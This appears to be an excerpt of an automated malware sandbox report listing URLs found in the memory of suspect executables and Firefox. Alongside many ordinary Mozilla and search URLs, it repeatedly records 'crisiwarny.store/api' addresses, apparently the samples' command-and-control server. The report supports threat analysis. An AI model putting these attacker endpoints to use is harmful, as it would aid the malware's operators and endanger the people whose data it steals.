Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000003.2321503699.000001F840040000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000025.00000002.2529879447.000001F843D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000002.2548149367.000001F84A25F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2533356820.000001F8486E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: df757a3a2c.exe, 00000014.00000003.2184028813.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: df757a3a2c.exe, 00000014.00000003.2200089454.0000000005B68000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000025.00000002.2498238263.000001F84156D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2533356820.000001F8486E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000025.00000002.2459673235.000001F830330000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2459673235.000001F83030E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000025.00000003.2363468563.000001F84878D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/#
Source: file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/1P8%
Source: file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/50Lx
Source: df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/5S
Source: file.exe, 00000006.00000003.1652961704.0000000005749000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371901158.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371368387.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/9
Source: file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/A
Source: file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/BJR0x%lz7
Source: df757a3a2c.exe, 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/US
Source: df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/X
Source: df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Y
Source: df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api&
Source: file.exe, 00000006.00000003.1652941129.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api(w
Source: df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api(wp
Source: df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api(wstCJ3
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiU
Source: df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apibm
Source: df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2531510451.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2519762503.0000000000705000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apice
Source: file.exe, 00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiclg
Source: file.exe, 00000006.00000003.1653059393.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apie
Source: df757a3a2c.exe, 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apih
Source: df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apila
Source: df757a3a2c.exe, 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apin
Source: file.exe, 00000006.00000003.1652941129.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apire1
Source: file.exe, 00000006.00000003.1413694722.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apis
Source: df757a3a2c.exe, 00000014.00000003.2199963901.0000000001485000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/b
Source: df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2531510451.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2519762503.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/e
Source: df757a3a2c.exe, 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/eS
Source: file.exe, 00000006.00000003.1351990490.000000000574C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1351920065.000000000574C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/l/LI%
Source: df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/mS
Source: file.exe, 00000006.00000003.1390945097.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371901158.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1371368387.0000000005746000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1389808093.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1400572763.000000000574F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/rt
Source: file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2228839491.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2224787223.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2549021883.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2531510451.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2519762503.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2542612480.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2548212662.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2564783959.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s
Source: df757a3a2c.exe, 00000014.00000003.2384080687.000000000147E000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2228839491.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2385061932.0000000001485000.00000004.00000020.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2224787223.0000000001485000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s:
Source: file.exe, 00000006.00000003.1652961704.0000000005749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/sI
Source: file.exe, 00000006.00000003.1413620190.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1416844825.0000000005744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/sY
Source: df757a3a2c.exe, 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000025.00000003.2363468563.000001F84878D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2554244778.000038F0C1500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: firefox.exe, 00000025.00000002.2537182494.000001F848AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000003.2392548310.000001F841A40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2392548310.000001F841A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2392548310.000001F841A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 00000025.00000002.2471361876.000001F83DBD0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_maybeShowDefaultBrowserPrompt/dialogReason
Source: firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
